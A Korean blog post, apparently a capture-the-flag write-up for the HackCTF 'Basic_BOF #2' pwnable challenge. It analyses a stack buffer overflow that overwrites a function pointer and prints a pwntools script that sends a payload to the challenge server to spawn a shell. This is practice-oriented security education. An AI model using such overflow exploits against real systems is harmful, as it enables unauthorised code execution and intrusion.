tmxklab
[HackCTF/Pwnable] Basic_BOF #2 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3001
1) 접속
- "hi"를 입력하면 출력 값으로 "하아아아아앙"(?)을 출력하고 프로그램은 더이상 실행안됨
2) IDA(Pseudocode)확인 - main()
- IDA의 hex-lay기능을 통해 디컴파일된 c언어 코드로 변환
- char형 s변수는 [ebp-8Ch]이므로 ebp로부터 140bytes만큼 떨어져 있고 void형 v5함수 포인터 변수는 [ebp-Ch]이므로 ebp로부터 12bytes만큼 떨어져 있음
- v5변수 선언 후에 sup()함수의 주소를 저장
- fgets()로 133bytes만큼의 입력 값을 받음
- v5()가 방금 지정한 함수 실행
3) IDA(Pseudocode)확인 - sup()
- s에 입력된 값을 화면에 출력함
4) IDA(Pseudocode)확인 - shell()
- system()함수 실행
2. 접근방법
1) 스택 구조
2) 결론
- main()에 나와있지 않은 shell()를 실행시켜야 system()를 실행할 수 있음
- v5포인터 변수에 지정된 sup()주소를 shell()주소로 변경시켜야 함
- s변수와 v5변수의 사이는 128bytes이며 fgets()는 133bytes까지 s변수에 입력받을 수 있음
- 따라서, 128bytes는 쓰레기 값을 넣고 나머지 4bytes는 shell()주소 값을 채워넣으면 됨
3. 풀이
1) shell()주소 값 확인
- shell() 시작 주소 값 : 0x0804849B
2) 공격코드 작성
from pwn import * # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3001)
# 공격 payload 작성, p32는 packing관련 함수로 32비트 리틀엔디안 방식으로 패킹
payload = "b"*128 + p32(0x0804849B)
# payload객체에 저장된 값을 보냄
p.sendline(payload)
# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()
- payload객체에 128bytes의 쓰레기 값과 v5변수에 덮을 0x0804849B값을 저장
3) 공격실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] x64 Simple_size_BOF (0) | 2020.01.27 |
---|---|
[HackCTF/Pwnable] x64 Buffer Overflow (0) | 2020.01.27 |
[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!! (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_FSB (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_BOF #1 (0) | 2020.01.21 |
Comments